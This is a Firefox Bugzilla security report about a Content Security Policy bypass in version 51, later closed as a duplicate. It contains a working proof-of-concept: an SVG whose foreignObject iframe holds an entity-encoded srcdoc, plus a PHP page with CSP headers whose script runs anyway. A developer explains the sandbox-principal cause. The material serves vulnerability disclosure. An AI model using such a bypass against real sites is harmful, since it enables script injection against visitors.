Closed Bug 1295489 Opened 9 years ago Closed 9 years ago

Mozilla Firefox V51.0 CSP Bypass

Categories

(Core :: DOM: Security, defect)

51 Branch
x86_64
Windows 7
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 1073952

People

(Reporter: 1009465756, Unassigned)

Details

(Keywords: reporter-external)

Attachments

(1 file)

1.42 KB, image/svg+xml
Details
Attached image s.svg
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Steps to reproduce: User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0 Open the POC, you will find the alert window in the browser: http://115.159.58.203/uxss/s.svg ======== <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml" width="100" height="100" viewBox="-34 -34 68 68" version="1.1"> <circle cx="0" cy="0" r="50" fill="#c8c8c8"/> <foreignObject x="0" y="0" width="34" height="34"> <xhtml:xhtml> <xhtml:head> <xhtml:style> document,body,img { padding: 0px; margin: 0px; border: 0px; } </xhtml:style> </xhtml:head> <xhtml:body> <xhtml:iframe width="10" height="10" srcdoc="&#x3c;&#x69;&#x66;&#x72;&#x61;&#x6d;&#x65;&#x20;&#x73;&#x74;&#x79;&#x6c;&#x65;&#x3d;&#x22;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3a;&#x31;&#x30;&#x30;&#x30;&#x70;&#x78;&#x3b;&#x68;&#x65;&#x69;&#x67;&#x68;&#x74;&#x3b;&#x31;&#x30;&#x30;&#x30;&#x70;&#x78;&#x22;&#x20;&#x73;&#x61;&#x6e;&#x64;&#x62;&#x6f;&#x78;&#x3d;&#x22;&#x61;&#x6c;&#x6c;&#x6f;&#x77;&#x2d;&#x6d;&#x6f;&#x64;&#x61;&#x6c;&#x73;&#x20;&#x61;&#x6c;&#x6c;&#x6f;&#x77;&#x2d;&#x70;&#x6f;&#x70;&#x75;&#x70;&#x73;&#x20;&#x61;&#x6c;&#x6c;&#x6f;&#x77;&#x2d;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x22;&#x20;&#x73;&#x72;&#x63;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x31;&#x31;&#x35;&#x2e;&#x31;&#x35;&#x39;&#x2e;&#x35;&#x38;&#x2e;&#x32;&#x30;&#x33;&#x2f;&#x75;&#x78;&#x73;&#x73;&#x2f;&#x63;&#x73;&#x70;&#x32;&#x2e;&#x70;&#x68;&#x70;&#x22;&#x3e;&#x20;" sandbox="allow-modals allow-popups allow-scripts">circle</xhtml:iframe> </xhtml:body> </xhtml:xhtml> </foreignObject> </svg> CSP setted page: http://115.159.58.203/uxss/csp2.php Actual results: I set the CSP header in the csp2.php http://115.159.58.203/uxss/csp2.php ======= <?php header("X-Content-Security-Policy: default-src 'self'"); header("Content-Security-Policy: default-src 'self'"); header("X-Webkit-CSP: default-src 'self'"); echo '<!doctype html> <iframe srcdoc="<script>alert(/CSP/)</script>" onload=alert(1)>'; ?> So, when you straightly visit the "http://115.159.58.203/uxss/csp2.php", the CSP will prevent the '<iframe srcdoc="<script>alert(/CSP/)</script>" onload=alert(1)>' to execute. But when you visit the 'http://115.159.58.203/uxss/s.svg', you will find the value of the "srcdoc" has been executed, you will get an alert. Expected results: In other browsers, when you visit the 'http://115.159.58.203/uxss/s.svg', the alert window will never shown. Something might be wrong in the Firefox PC version?
Btw, even if the "default-src" is setted the PoC s.svg still works: csp2.php: <?php header("X-Content-Security-Policy: default-src 'none'"); header("Content-Security-Policy: default-src 'none'"); header("X-Webkit-CSP: default-src 'none'"); echo '<!doctype html> <iframe srcdoc="<script>alert(/CSP/)</script>" onload=alert(1)>'; ?>
OS: Unspecified → Windows 7
Hardware: Unspecified → x86_64
Bob, seems like somehow the sandboxed iframe's "allow-scripts" flag is overriding the server-sent CSP for the parent page?
Group: firefox-core-security → core-security
Component: Untriaged → DOM: Security
Flags: needinfo?(bobowen.code)
Product: Firefox → Core
Flags: sec-bounty?
This is a known issue with srcdoc and sandbox. The sandbox gives a unique principal to the srcdoc content, which (currently) means it doesn't inherit the CSP from the no-longer-same-origin parent. We need to create a new way to pass along a CSP to a sandbox because inheriting it from the nsPrincipal won't work in this case.
Group: core-security → dom-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 9 years ago
Flags: needinfo?(bobowen.code)
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
Group: dom-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: